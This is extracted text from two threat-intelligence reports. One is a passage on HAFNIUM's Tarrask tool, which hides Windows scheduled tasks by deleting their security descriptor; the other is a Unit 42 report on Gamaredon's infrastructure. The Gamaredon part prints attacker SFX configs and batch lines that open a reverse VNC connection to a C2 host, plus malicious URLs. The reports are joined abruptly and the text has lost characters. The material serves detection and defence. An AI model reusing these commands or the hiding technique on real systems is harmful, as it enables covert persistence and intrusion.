+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
+NT\CurrentVersion\Schedule\TaskCache\Tree\TASK_NAME
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\
+{GUID}
+Figure 1. Tarrask malware creates new registry keys along with the creation of new scheduled tasks
+The first subkey, created within the Tree path, matches the name of the scheduled task. The values created within it (Id,
+Index, and SD) contain metadata for task registration within the system. The second subkey, created within the Tasks
+path, is a GUID mapping to the Id value found in the Tree key. The values created within (Actions, Path, Triggers, etc.)
+contain the basic parameters necessary to facilitate execution of the task.
+To demonstrate the value in the artifacts generated, shown in the following figures, we have created 
+My Special Task
+which is set to execute the binary 
+C:\Windows\System32\calc.exe
+ on a regular interval.
+Figure 2. XML file matches name of the task
+Similar information is also stored within an extensionless XML file created within C:\Windows\System32\Tasks, where
+the name of the file matches the name of the task. This is displayed in Figure 2, where we name the task 
+My Special
+Task
+ as an example.
+Figure 3. Extensionless XML file
+Note that the 
+Actions
+ value stored within the Tasks\{GUID} key points to the command line associated with the task.
+In Figure 2, there is a reference to 
+C:\Windows\System32\calc.exe
+ within the 
+Edit Binary Value
+ dialog, and there is
+a path referenced within the 
+<Command>
+ section in the extensionless XML file in Figure 3. The fact that this value is
+stored within two different locations can prove useful in recovering information regarding the task
+s purpose in the
+event the threat actor has taken steps to cover their tracks.
+Finally, there are two Windows event logs that record actions related to the creation and operation of Scheduled Tasks 
+Event ID 4698 within the Security.evtx log, and the Microsoft-Windows-TaskScheduler/Operational.evtx log.
+Neither of these are audited by default and must be explicitly turned on by an administrator. Microsoft-WindowsTaskScheduler/Maintenance.evtx will exist by default, but only contains maintenance-related information for the Task
+Scheduler engine.
+Effectively hiding scheduled tasks
+In this scenario, the threat actor created a scheduled task named 
+WinUpdate
+ via HackTool:Win64/Tarrask in order to
+re-establish any dropped connections to their command and control (C&C) infrastructure. This resulted in the creation
+of the registry keys and values described in the earlier section, however, the threat actor deleted the SD value within the
+Tree registry path.
+Figure 4. Deletion of the security descriptor (SD) value
+In this context, SD refers to the Security Descriptor, which determines the users allowed to run the task. Interestingly,
+removal of this value results in the task 
+disappearing
+ from 
+schtasks /query
+ and Task Scheduler. The task is
+effectively hidden unless an examiner manually inspects the aforementioned registry paths.
+Issuing a 
+reg delete
+ command to delete the SD value will result in an 
+Access Denied
+ error even when run from an
+elevated command prompt. Deletion must occur within the context of the SYSTEM user. It is for this reason that the
+Tarrask malware utilized token theft to obtain the security permissions associated with the lsass.exe process. Upon
+execution of the token theft, the malware could operate with the same privileges as LSASS, making the deletion possible.
+Figure 5. Successful deletion of SD in Command Prompt
+It is also important to note that the threat actor could have chosen to completely remove the two registry keys within
+Tree and Tasks, and the XML file created within C:\Windows\System32\Tasks. This would effectively remove the ondisk artifacts associated with the scheduled task, but the task would continue to run according to the defined triggers
+until the system rebooted, or until the associated svchost.exe process responsible for executing the task was terminated.
+s possible the threat actor wanted to ensure persistence across reboots and therefore chose not to perform those steps,
+instead deleting only the SD value; however, we also speculate that the threat actor was unaware that the task would
+continue to run even after these components were removed.
+Recommendations and cyber resilience guidance
+Job or task schedulers are services that have been present in the Windows operating system for many years. The attacks
+we described signify how the threat actor HAFNIUM displays a unique understanding of the Windows subsystem and
+uses this expertise to mask activities on targeted endpoints to maintain persistence on affected systems and hide in plain
+sight.
+As such, we recognize that scheduled tasks are an effective tool for adversaries to automate certain tasks while achieving
+persistence, which brings us to raising awareness about this oft-overlooked technique. We also want to bring attention
+to the fact that threat actors may utilize this method of evasion to maintain access to high value targets in a manner that
+will likely remain undetected. This could be especially problematic for systems that are infrequently rebooted (e.g.,
+critical systems such as domain controllers, database servers, etc.).
+The techniques used by the actor and described in this post can be mitigated or detected by adopting the following
+recommendations and security guidelines1:
+Enumerate your Windows environment registry hives looking in the
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree
+registry hive and identify any scheduled tasks without SD (security descriptor) Value within the Task Key. Perform
+analysis on these tasks as needed.
+Modify your audit policy to identify Scheduled Tasks actions by enabling logging 
+TaskOperational
+ within
+Microsoft-Windows-TaskScheduler/Operational. Apply the recommended Microsoft audit policy settings suitable
+to your environment.
+Enable and centralize the following Task Scheduler logs. Even if the tasks are 
+hidden
+, these logs track key events
+relating to them that could lead you to discovering a well-hidden persistence mechanism
+Event ID 4698 within the Security.evtx log
+Microsoft-Windows-TaskScheduler/Operational.evtx log
+The threat actors in this campaign used hidden scheduled tasks to maintain access to critical assets exposed to the
+internet by regularly re-establishing outbound communications with C&C infrastructure. Remain vigilant and
+monitor uncommon behavior of your outbound communications by ensuring that monitoring and alerting for
+these connections from these critical Tier 0 and Tier 1 assets is in place.
+Indicators of compromise (IOCs)
+The following list provides IOCs observed during our investigation. We encourage customers to investigate these
+indicators in their environments and implement detections and protections to identify past related activity and prevent
+future attacks against their systems.
+SHA256
+File Name
+Details
+54660bd327c9b9d60a5b45cc59477c75b4a8e2266d988da8ed9956bcc95e6795
+winupdate.exe, date.exe,
+win.exe
+Tarrask
+a3baacffb7c74dc43bd4624a6abcd1c311e70a46b40dcc695b180556a9aa3bb2
+windowsvc.exe, winsrv.exe,
+WinSvc.exe, ScriptRun.exe,
+Unique.exe, ngcsvc.exe,
+ligolo_windows_amd64.exe,
+proxy.zip, wshqos.exe,
+cert.exe, ldaputility.exe
+Ligolo
+7e0f350864fb919917914b380da8d9b218139f61ab5e9b28b41ab94c2477b16d
+CertCert.jsp, Cert0365.jsp
+Godzilla
+shell
+Microsoft 365 Defender Detections
+How customers can identify this in Microsoft 365 Defender:
+Microsoft Defender Antivirus
+Microsoft Defender for Endpoint on detects implants and components as the following:
+HackTool:Win64/Tarrask!MSR
+HackTool:Win64/Ligolo!MSR
+Microsoft Defender for Endpoint detects malicious behavior observed as the following:
+Behavior:Win32/ScheduledTaskHide.A
+Microsoft Sentinel Detections
+Microsoft Sentinel customers can use the following detection queries to look for this activity:
+Tarrask malware hash IOC: This query identifies a hash match related to Tarrask malware across various data
+sources.
+Scheduled Task Hide: This query uses Windows Security Events to detect attempts by malware to hide the
+scheduled task by deleting the SD (Security Descriptor) value. Removal of SD value results in the scheduled task
+disappearing
+ from 
+schtasks /query
+ and Task Scheduler.
+Microsoft Defender AV Hits: This query looks for Microsoft Defender AV detections related to Tarrask malware
+using SecurityAlerts table. In Microsoft Sentinel the SecurityAlerts table includes only the Device Name of the
+affected device, this query joins the DeviceInfo table to clearly connect other information such as Device group, IP,
+logged on users etc. This way, the Microsoft Sentinel user can have all the pertinent device info in one view for the
+alerts.
+The technical information contained in this article is provided for general informational and educational purposes only
+and is not a substitute for professional advice. Accordingly, before taking any action based upon such information, we
+encourage you to consult with the appropriate professionals. We do not provide any kind of guarantee of a certain
+outcome or result based on the information provided. Therefore, the use or reliance of any information contained in this
+article is solely at your own risk.
+Russia
+s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine
+(Updated Feb. 16)
+unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021
+February 3, 2022
+By Unit 42
+February 3, 2022 at 1:00 PM
+Category: Government, Malware
+Tags: Advanced URL Filtering, APT, Cortex, DNS security, Gamaredon, next-generation firewall, primitive bear, Ukraine, WildFire
+This post is also available in: 
+ (Japanese)
+Updated Feb. 16 to include new information on Gamaredon infrastructure and Indicators of Compromise (IoCs).
+Executive Summary
+Since November, geopolitical tensions between Russia and Ukraine have escalated dramatically. It is estimated that Russia has now
+amassed over 100,000 troops on Ukraine's eastern border, leading some to speculate that an invasion may come next. On Jan. 14, 2022,
+this conflict spilled over into the cyber domain as the Ukrainian government was targeted with destructive malware (WhisperGate) and a
+separate vulnerability in OctoberCMS was exploited to deface several Ukrainian government websites. While attribution of those events is
+ongoing and there is no known link to Gamaredon (aka Primitive Bear), one of the most active existing advanced persistent threats
+targeting Ukraine, we anticipate we will see additional malicious cyber activities over the coming weeks as the conflict evolves. We have
+also observed recent activity from Gamaredon. In light of this, this blog provides an update on the Gamaredon group.
+Since 2013, just prior to Russia
+s annexation of the Crimean peninsula, the Gamaredon group has primarily focused its cyber campaigns
+against Ukrainian government officials and organizations. In 2017, Unit 42 published its first research documenting Gamaredon
+evolving toolkit and naming the group, and over the years, several researchers have noted that the operations and targeting activities of
+this group align with Russian interests. This link was recently substantiated on Nov. 4, 2021, when the Security Service of Ukraine (SSU)
+publicly attributed the leadership of the group to five Russian Federal Security Service (FSB) officers assigned to posts in Crimea.
+Concurrently, the SSU also released an updated technical report documenting the tools and tradecraft employed by this group.
+Given the current geopolitical situation and the specific target focus of this APT group, Unit 42 continues to actively monitor for
+indicators of their operations. In doing so, we have mapped out three large clusters of their infrastructure used to support different
+phishing and malware purposes. These clusters link to over 700 malicious domains, 215 IP addresses and over 100 samples of malware.
+1/16
+Monitoring these clusters, we observed an attempt to compromise a Western government entity in Ukraine on Jan. 19, 2022. We have
+also identified potential malware testing activity and reuse of historical techniques involving open-source virtual network computing
+(VNC) software. The sections below offer an overview of our findings in order to aid targeted entities in Ukraine as well as cybersecurity
+organizations in defending against this threat group.
+Update Feb. 16: When we originally published this report, we noted, 
+While we have mapped out three large clusters of currently active
+Gamaredon infrastructure, we believe there is more that remains undiscovered.
+ We have since discovered hundreds more Gamaredonrelated domains, including known related-clusters, and also new clusters. We have updated our Indicators of Compromise (IoCs) to
+include these additional domains and cluster observations.
+Full visualization of the techniques observed, relevant courses of action and IoCs related to this Gamaredon report can be found in the
+Unit 42 ATOM viewer.
+Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products including Cortex XDR
+and the WildFire, AutoFocus, Advanced URL Filtering and DNS Security subscription services for the Next-Generation Firewall.
+Related Unit 42 Topics
+Gamaredon, APTs
+Table of Contents
+Gamaredon Downloader Infrastructure (Cluster 1)
+-Cluster 1 History
+-Initial Downloaders
+-SFX Files and UltraVNC
+SSL Pivot to Additional Infrastructure and Samples
+File Stealer (Cluster 2)
+Pteranodon (Cluster 3)
+Conclusion
+-Protections and Mitigations
+Indicators of Compromise
+Additional Resources
+Gamaredon Downloader Infrastructure (Cluster 1)
+Gamaredon actors pursue an interesting approach when it comes to building and maintaining their infrastructure. Most actors choose to
+discard domains after their use in a cyber campaign in order to distance themselves from any possible attribution. However, Gamaredon
+approach is unique in that they appear to recycle their domains by consistently rotating them across new infrastructure. A prime example
+can be seen in the domain libre4[.]space. Evidence of its use in a Gamaredon campaign was flagged by a researcher as far back as 2019.
+Since then, Cisco Talos and Threatbook have also firmly attributed the domain to Gamaredon. Yet despite public attribution, the domain
+continues to resolve to new internet protocol (IP) addresses daily.
+2/16
+Figure 1. libre4[.]space recent IP resolutions as of Jan. 27, 2022.
+Pivoting to the first IP on the list (194.58.100[.]17) reveals a cluster of domains rotated and parked on the IP on the exact same day.
+3/16
+Figure 2. Domains associated with 194.58.100[.]17 on Jan. 27, 2022.
+Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains. These are domains
+that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet
+been used. Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure.
+Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses;
+interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated
+by the same entity used as the registrar for these domains, reg[.]ru. The total number of IPs translates to the introduction of roughly two
+new IP addresses every day into Gamaredon
+s malicious infrastructure pool. Monitoring this pool, it appears that the actors are activating
+new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP
+infrastructure. This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers.
+For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the
+precise day of a phishing campaign. Furthermore, Gamaredon
+s technique provides the actors with a degree of control over who can
+access malicious files hosted on their infrastructure, as a web page
+s uniform resource locator (URL) file path embedded in a downloader
+only works for a finite period of time. Once the domains are rotated to a new IP address, requests for the URL file paths will result in a
+ file not found error for anyone attempting to study the malware.
+Cluster 1 History
+While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018. Certain
+marker
+ domains, such as the aforementioned libre4[.]space, are still active today and also traced back to March 2019 with apparently
+consistent ownership. On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.]107 with thematically
+linked naming 
+ several of which are still active in this cluster today.
+4/16
+Figure 3. Domain cluster on 185.158.114[.]107 in March 2019.
+Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.]space on
+195.88.209[.]136, in December 2018.
+Figure 4. Initial domain bitsadmin[.]space, December 2018.
+We see it clustered here with some dynamic domain name system (DNS) domains. Dynamic DNS domains were observed in this cluster
+on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this
+cluster currently active.
+Initial Downloaders
+5/16
+Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the
+identification of 17 samples over the past three months. The majority of these files were either shared by entities in Ukraine or contained
+Ukrainian filenames.
+Filename
+Translation
+.docx
+Maksim.docx
+.docx
+RAZANTSEV IS SUSPICIOUS.docx
+.docx
+interrogation protocol.docx
+.docx
+TELEGRAM.docx
+.docx
+2_Memorial_about_processal_rights_and_obligations_of_the_
+Victim.docx
+2_Porjadok_do_nakazu_111_vid_13.04.2017.docx
+2_Procedure_to_order_111_from_13.04.2017.docx
+.docx
+conclusion Timoshechkin.docx
+ 2021 (
+).doc
+Report on the LCA for June 2021 (Autosaved) .doc
+.docx
+Klitschko's conclusion.docx
+.docx
+Indictment GERMAN et al.docx
+ 10 
+.doc
+support 1-SL 10 months.doc
+Table 1. Recently observed downloader filenames.
+An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the
+malicious code once they are opened. This allows the attacker to have control over what content is sent back to the victim in an otherwise
+benign document. Recent examples of the remote template 
+ file URLs these documents use include the following:
+http://bigger96.allow.endanger.hokoldar[.]ru/[Redacted]/globe/endanger/lovers.cam
+http://classroom14.nay.sour.reapart[.]ru/[Redacted]/bid/sour/glitter.kdp
+http://priest.elitoras[.]ru/[Redacted]/pretend/pretend/principal.dot
+http://although.coferto[.]ru/[Redacted]/amazing.dot
+http://source68.alternate.vadilops[.]ru/[Redacted]/clamp/interdependent.cbl
+Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp and others. We
+believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services.
+Taking a deeper look at the top two, hokoldar[.]ru and reapart[.]ru, provides unique insights into two recent phishing campaigns.
+Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other
+Gamaredon domains on Jan. 4. Figure 2 above shows that hokoldar[.]ru continued to share an IP address with libre4[.]space on Jan. 27,
+once again associating it with the Gamaredon infrastructure pool. In that short window, on Jan. 19, we observed a targeted phishing
+attempt against a Western government entity operating in Ukraine.
+In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment
+service within Ukraine. In doing so, the actors searched for an active job posting, uploaded their downloader as a resume and submitted it
+through the job search platform to a Western government entity. Given the steps and precision delivery involved in this campaign, it
+appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization.
+Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of
+Ukraine. On Dec. 1, an email was sent from yana_gurina@ukr[.]net to 6524@dmsu[.]gov.ua. The subject of the email was 
+NOVEMBER
+REPORT
+ and attached to the email was a file called 
+Report on the LCA for June 2021(Autosaved).doc.
+ When opened, this Word
+document calls out to reapart[.]ru. From there, it downloads and then executes a malicious remote Word Document Template file named
+glitter.kdp.
+6/16
+Figure 5. Email sent to 6524@dmsu[.]gov.ua.
+CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently
+published an article on Gamaredon which covers the content returned from these remote template files. To summarize their findings on
+this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and
+will retrieve the next payload once the Gamaredon group is ready for the next phase. In CERT-EE
+s case, after six hours the infrastructure
+came back to life again and downloaded a SelF-eXtracting (SFX) archive.
+This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver
+various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim
+computers. The group
+s current preference appears to be open-source UltraVNC software.
+SFX Files and UltraVNC
+SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package. In the case
+of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software. This
+lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel,
+allowing attackers to bypass the typical firewall restrictions; these reverse connections seemingly are not initiated by the attacker but
+instead come from inside the network where the victim exists. To illustrate how this occurs, we will step through one of the SFX files
+(SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified.
+When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the
+archive. In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive. In some instances,
+the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found,
+similar to this:
+;!@Install@!UTF-8!
+InstallPath="%APPDATA%\\Drivers"
+GUIMode="2"
+SelfDelete="1"
+RunProgram="hidcon:34679.cmd"
+This will extract the files to %APPDATA%\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console. The use of the
+hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked
+samples during this time period.
+The following files were included in this particular archive:
+SHA256
+Filename
+695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa
+34679.cmd
+d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385
+MSRC4Plugin_for_sc.dsm
+393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f
+QlpxpQpOpDpnpRpC.ini
+ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c
+UltraVNC.ini
+304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b
+YiIbIbIqIZIiIBI2.jpg
+1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9
+kqT5TMTETyTJT4TG.jpg
+7/16
+27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5
+owxxxGxzxqxxxExw.jpg
+3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b
+rc4.key
+Table 2. Files included in the example SFX Archive.
+The batch files use randomized alphanumeric strings for the variable names, and 
+ depending on the sample 
+ collect different
+information or use different domains and filenames; however, at the core they each perform one specific function 
+ initiate the reverse
+VNC connection. The purpose of this file is to obscure and execute the desired command: start "" "%CD%\sysctl.exe" -autoreconnect -id:
+[system media access control (MAC) address] -connect technec[.]org:8080
+Figure 6: Content of 34679.cmd from above example.
+In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous
+scripts (we
+ll cover this in more detail later). This variable, along with the next few, will identify the process name the malware will
+masquerade under, an identifier with which to track the victim, the remote attacker
+s domain to which the connection should be made,
+the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use. At every turn,
+the actor tries to blend into normal user traffic to remain under the radar for as long as possible.
+After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this
+run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized
+per archive, but almost always turns out to be that of the VNC server itself.
+As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and 
+ along with the
+two files rc4.key and MSRC4Plugin_for_sc.dsm 
+ will encrypt the communication to further hide from network detection tools.
+s not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a
+long key. Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to
+the system.
+The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also
+that these potentially staged files are not present in all samples.
+InstallPath="%USERPROFILE%\\Contacts"
+GUIMode="2"
+SelfDelete="1"
+RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\18820.tmp
+%USERPROFILE%\Contacts\MSRC4Plugin_for_sc.dsm"
+RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25028.tmp %USERPROFILE%\Contacts\rc4.key"
+8/16
+RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\24318.tmp %USERPROFILE%\Contacts\UltraVNC.ini"
+RunProgram="hidcon:cmd.exe /c copy /y %USERPROFILE%\Contacts\25111.tmp %USERPROFILE%\Contacts\wn.cmd"
+RunProgram="hidcon:%USERPROFILE%\\Contacts\\wn.cmd"
+While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the
+Gamaredon group
+s processes.
+Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the
+same attacker-controlled VNC server. Initially, these files were uploaded to VirusTotal via the Tor network and used the process name
+svchosst over transmission control protocol (TCP)/8080, leveraging the user
+s Windows security identifier (SID) instead of MAC address
+for the VNC identification. The SFX files simply had the name 1.exe.
+@for /f %%i in ('wmic useraccount where name^='%USERNAME%' get
+sid ^| find "S-1"') do set JsVqVzVxVfVqVaVs=%%i
+set ZGVxVkVIVUVlVgVb=technec[.]org
+set qgSjSdSaSsSiSGS3=svchosst
+set AVlflclclZlPlYlI=8080
+set djM8MfMRM0M5MBM0=connect
+Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the
+code that prevents it from executing correctly. Note the positional change of the variables as well.
+set djM8MfMRM0M5MBM0=onnect
+set r8JgJJJHJGJmJHJ5=%RANDOM%
+set ZGVxVkVIVUVlVgVb=technec[.]org
+set qgSjSdSaSsSiSGS3=svchosst
+set AVlflclclZlPlYlI=80
+The bug is due to the onnect value that is set. Reviewing how the reverse VNC connection is launched, this value is used in two places: autorec%djM8MfMRM0M5MBM0% and -%djM8MfMRM0M5MBM0%.
+start "1" "%CD%\%qgSjSdSaSsSiSGS3%.exe"
+-autorec%djM8MfMRM0M5MBM0% -id:%r8JgJJJHJGJmJHJ5%
+-%djM8MfMRM0M5MBM0% %ZGVxVkVIVUVlVgVb%:80%AVlflclclZlPlYlI%
+The second instance doesn
+t contain the c value needed to correctly spell the word and thus presents an invalid parameter. After another
+three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content.
+Again, minutes later, we saw 2.exe uploaded with the test.cmd, but this time it contained the initial part of the .cmd file. However, the
+actor had forgotten to include the VNC connect string.
+This is where it gets interesting, though 
+ about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was
+being uploaded directly by a user in Russia from a public IP address. We continued to observe this pattern of uploads every few minutes,
+where each was a slight iteration of the one before. The person uploading the files appeared to be rapidly 
+ and manually 
+ modifying the
+.cmd file to restore functionality (though the actor was unsuccessful in this series of uploads).
+Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our
+full IoC list).
+SSL Pivot to Additional Infrastructure and Samples
+While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP
+address 92.242.62[.]96:
+Serial: 373890427866944398020500009522040110750114845760
+SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c
+Issued: 2021-01-27
+Expires: 2031-01-25
+Common name: ip45-159-200-109.crelcom[.]ru
+Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the
+netblock containing the IP address is registered to an address in Simferopol, Crimea. We further trace the apparent origins of Crelcom
+back to Simferopol, Crimea, as well.
+This certificate relates to 79 IP addresses:
+9/16
+The common-name IP address - no Gamaredon domains
+One IP address links to cluster 1 above (92.242.62[.]96)
+76 IP addresses link to another distinct collection of domains 
+cluster 2
+1 IP address led us to another distinct cluster, 
+cluster 3
+ (194.67.116[.]67)
+We find almost no overlap of IP addresses between these separate clusters.
+File Stealer (Cluster 2)
+Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of
+Gamaredon
+s file stealer tool. Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have
+been shared by entities in Ukraine. The C2 domains in those samples include:
+Domain
+First Seen
+jolotras[.]ru
+12/16/2021
+moolin[.]ru
+10/11/2021
+naniga[.]ru
+9/2/2021
+nonimak[.]ru
+9/2/2021
+bokuwai[.]ru
+9/2/2021
+krashand[.]ru
+6/17/2021
+gorigan[.]ru
+5/25/2021
+Table 3. Recent file stealer C2 domains.
+As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations. For
+example, only five out of 93 vendors consider the domain krashand[.]ru to be malicious on VirusTotal.
+Figure 7. VirusTotal results for krashand[.]ru from Jan. 27, 2022.
+Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each. Some of the
+subdomains follow a standardized pattern. For example, several of the domains use the first few letters of the alphabet (a, b, c) in a
+repeating combination. Conversely, jolotras[.]ru and moolin[.]ru use randomized alphanumeric characters. We believe that these
+subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server. As such, counting the
+number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to
+connect to the server. However, it is important to also note that the number of pDNS entries can also be skewed by researchers and
+cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain.
+Subdomains
+637753576301692900[.]jolotras.ru
+637753623005957947[.]jolotras[.]ru
+637755024217842817.jolotras[.]ru
+a.nonimak[.]ru
+aaaa.nonimak[.]ru
+aaaaa.nonimak[.]ru
+10/16
+aaaaaa.nonimak[.]ru
+0enhzs.moolin[.]ru
+0ivrlzyk.moolin[.]ru
+0nxfri.moolin[.]ru
+Table 4. Subdomain naming for file stealer infrastructure.
+In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses
+they point to. This allowed us to identify the following active infrastructure:
+IP Address
+First Seen
+194.58.92[.]102
+1/14/2022
+37.140.199[.]20
+1/10/2022
+194.67.109[.]164
+12/16/2021
+89.108.98[.]125
+12/26/2021
+185.46.10[.]143
+12/15/2021
+89.108.64[.]88
+10/29/2021
+Table 5. Recent file stealer IP infrastructure.
+Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier. Historically, we have
+seen the C2 domains point to various autonomous systems (AS) globally. However, as of early November, it appears that the actors have
+consolidated all of their file stealer infrastructure within Russian ASs 
+ predominantly this single AS.
+In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner
+similar to the downloader infrastructure discussed previously. A malicious domain may point to one of the C2 server IP addresses today
+while pointing to a different address tomorrow. This adds a degree of complexity and obfuscation that makes it challenging for network
+defenders to identify and remove the malware from infected networks. The discovery of a C2 domain in network logs thus requires
+defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over
+time. As an example, moolin[.]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days.
+IP Address
+Country
+First Seen
+Last Seen
+194.67.109[.]164
+197695
+2021-12-28
+2022-01-27
+185.46.10[.]143
+197695
+2021-12-16
+2021-12-26
+212.109.199[.]204
+29182
+2021-12-15
+2021-12-15
+80.78.241[.]253
+197695
+2021-11-19
+2021-12-14
+89.108.78[.]82
+197695
+2021-11-16
+2021-11-18
+194.180.174[.]46
+39798
+2021-11-15
+2021-11-15
+70.34.198[.]226
+20473
+2021-10-14
+2021-10-30
+104.238.189[.]186
+20473
+2021-10-13
+2021-10-14
+95.179.221[.]147
+20473
+2021-10-13
+2021-10-13
+176.118.165[.]76
+43830
+2021-10-12
+2021-10-13
+Table 6. Recent file stealer IP infrastructure
+Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner. Rather than connecting
+directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address. Once complete, it establishes an
+HTTPS connection directly to the IP address. For example:
+11/16
+C2 Domain: moolin[.]ru
+C2 IP Address: 194.67.109[.]164
+C2 Comms: https://194.67.109[.]164/zB6OZj6F0zYfSQ
+This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL
+filtering:
+1. The domain itself is only used in an initial DNS request to resolve the C2 server IP address 
+ no actual connection is attempted
+using the domain name.
+2. Identification and blocking of a domain doesn
+t impact existing compromises as the malware will continue to communicate directly
+with the C2 server using the IP address 
+ even if the domain is subsequently deleted or rotated to a new IP 
+ as long as the malware
+continues to run.
+One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was
+found to be a .NET binary that had been obfuscated to make analysis more difficult. The first thing that jumps out when reviewing these
+files are their sizes. This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond.
+It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files. It may also
+simply be a byproduct of the obfuscation tools being used. Whatever the reason for the large file size, it comes at a price to the attacker, as
+executables of this size stick out upon review. Transmitting a file this large to a victim becomes a much more challenging task.
+The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single
+characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise.
+Figure 8. Building the string 
+IconsCache.db
+ in the 
+text
+ variable.
+It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already
+running and will cause the file stealer to exit. Next, it will create the folder C:\Users\%USER%\AppData\Local\TEMP\ModeAuto\icons,
+wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MMDD-HH-MM.jpg.
